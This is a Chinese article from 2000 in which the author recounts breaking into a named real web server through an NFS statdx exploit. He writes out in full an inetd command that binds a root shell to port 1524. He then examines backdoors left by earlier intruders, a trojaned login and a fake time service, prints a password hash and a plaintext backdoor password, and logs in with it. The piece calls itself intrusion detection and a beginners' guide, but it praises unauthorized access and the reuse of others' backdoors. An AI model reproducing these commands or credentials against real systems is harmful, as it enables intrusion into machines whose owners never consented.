

一次简单的手工入侵检测

October 24, 2000

Sinbad Technical Publications
Website: <http://sinbad.zhoubin.com>
© Copyright 2000, All Rights Reserved

以前发现了一台 RedHat 主机，看看网站的内容/程序还不错，于是通过 NFS 的那个 statdx 漏洞进去转了转，时间差不多了想做个后门就走人。偶习惯了用 cat>来输入源程序，但这次一按 ctrl+d，就退出了 kshell。继续尝试那个漏洞，已经 connection refused，看来 NFS 服务翘掉了。

过了几个小时，干完其他活准备收工退出 Netterm，想起来 statdx，又试了一把，居然进去了，uptime 一看，原来机器刚刚重新启动过。好，这次可不能轻易的退出 shell 了。

模仿 rpc.cmsd 的 exploit 中一段，生成类似/etc/inetd.conf 中一条纪录的文件：

```
bash# echo 'ingreslock stream tcp nowait root /bin/sh sh -i' > /tmp/bob
```

用 inetd 把 rootshell 绑定在 ingreslock 的 1524 端口：

```
bash# /usr/sbin/inetd /tmp/bob
```

嗯，看来比较幸运，/etc/services 中的 ingreslock 没有被注释掉。

```
$ telnet www.dataint.cz 1524
Trying 212.47.7.198...
Connected to www.dataint.cz.
Escape character is '^]'.
bash#
```

看看进程先：

```
bash# ps -ef
ps -ef
  PID TTY STAT  TIME COMMAND
   573   1  S      0:00 /sbin/mingetty  tty1  HOME=/  TERM=linux
BOOT_IMAGE=linux AUTO
   574   2  S      0:00 /sbin/mingetty  tty2  HOME=/  TERM=linux
BOOT_IMAGE=linux AUTO
   575   3  S      0:00 /sbin/mingetty  tty3  HOME=/  TERM=linux
BOOT_IMAGE=linux AUTO
   576   4  S      0:00 /sbin/mingetty  tty4  HOME=/  TERM=linux
BOOT_IMAGE=linux AUTO
   577   5  S      0:00 /sbin/mingetty  tty5  HOME=/  TERM=linux
BOOT_IMAGE=linux AUTO
   578   6  S      0:00 /sbin/mingetty  tty6  HOME=/  TERM=linux
BOOT_IMAGE=linux AUTO
bash#
```

怎么是这种输出？看来 ps 有问题，用 RPM 校验一下看看：

```
bash# rpm -V `rpm -qf /bin/ps`  
rpm -V `rpm -qf /bin/ps`  
Cannot expand ~/.rpmrc  
Cannot expand ~/.rpmrc
```

呵呵，有问题？检查一下 login 文件：

```
bash# strings /bin/login  
/lib/ld-linux.so.2  
__gmon_start__  
libcrypt.so.1  
crypt  
libc.so.6  
getenv  
execl  
putenv  
__deregister_frame_info  
strncpy  
execv  
strcmp  
_IO_stdin_used  
__libc_start_main  
__register_frame_info  
GLIBC_2.0  
PTRh<  
tJchy  
TERM=vt100  
/bin/sh  
DISPLAY  
pLhwaT1xtzfds  
/usr/bin/xlogin
```

注意到了没有？pLhwaT1xtzfds 应该就是加密过的密码，它长的就像吗。

如果想解出密码，利用别人做好的这个后门，可以参考我以前的一篇“加密 login 后门中的密码”，主要是关于 crypt()函数的内容。

比较一下替换过的 login 和原来的 login：

```
bash# ls -l /bin/login /usr/bin/xlogin  
ls -l /bin/login /usr/bin/xlogin
```

```
-rwsr-xr-x  1 root    root      20164 Apr 17  1999 /bin/login
-rwsr-xr-x  1 root    root      20164 Oct  9 16:51 /usr/bin/xlogin
```

文件大小一样，看来那黑客专门作过修正了，可惜时间没修改过来。这样，一般的系统管理员通过 `find` 命令也会发现其中的异常。

既然到了这一步：由入侵变成了入侵检测，那就再看看罗。

看看 `inetd` 起了哪些服务：

```
bash# grep -v "^#" /etc/inetd.conf
grep -v "^#" /etc/inetd.conf
ftp      stream  tcp      nowait  root    /usr/sbin/tcpd  in.ftpd -l -a
login    stream  tcp      nowait  root    /usr/sbin/tcpd  in.rlogind
time     stream  tcp      nowait  root    /usr/sbin/time  in.timed
time     dgram   udp      wait    root    /usr/sbin/time  in.timed
```

注意到没有，又有不正常的地方了。`time` 应该是 `internal` 的，而在这里却是用了 `/usr/sbin/time` 来处理请求，十之八九又是一个后门。

```
bash# strings /usr/sbin/time
strings /usr/sbin/time
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
fgets
system
__deregister_frame_info
stdin
scanf
_IO_stdin_used
__libc_start_main
__register_frame_info
GLIBC_2.0
PTRh
QVhX
hWVS
sha011n
/bin/sh -i
```

呵呵，这次的密码没有加密，应该是 `sha011n` 吧。看来不是做 `login` 后门那个人搞的。

我们登录上 `time` 的 37 端口看看：

```
$ telnet www.dataint.cz 37
Trying 212.47.7.198...
Connected to www.dataint.cz.
Escape character is '^]'.
sha011n
bash#
```

果然如此。。。

这台机器真够倒霉的，不同的人进来后都装了不同的后门。如果都像偶这样仔细分析分析，明白“前人栽树，后人乘凉”的道理，就不用白费时间做后门啦。

这篇文章中提到的方法都很简单，希望给初级读者提供一个指导性的内容。